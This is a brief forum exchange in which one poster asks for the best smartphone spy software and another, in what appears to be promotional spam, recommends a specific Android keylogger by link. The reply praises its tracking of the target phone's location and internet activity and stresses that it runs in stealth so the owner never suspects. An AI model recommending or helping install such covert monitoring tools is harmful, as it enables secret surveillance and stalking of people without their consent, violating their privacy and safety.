Which is the best spy software for smartphone?

[Meanwhile]

Which is the best spy software for smartphone?

[Patrivk]

Honestly I use this reliable keylogger for android https://www.hoverwatch.com/free-android-keylogger. This tool helps me determine the current location of the target smartphone and find out Internet activity. By the way, I would like to note separately that this program works in stealth mode and the owner of the monitored device will not even guess about your actions. Simply the best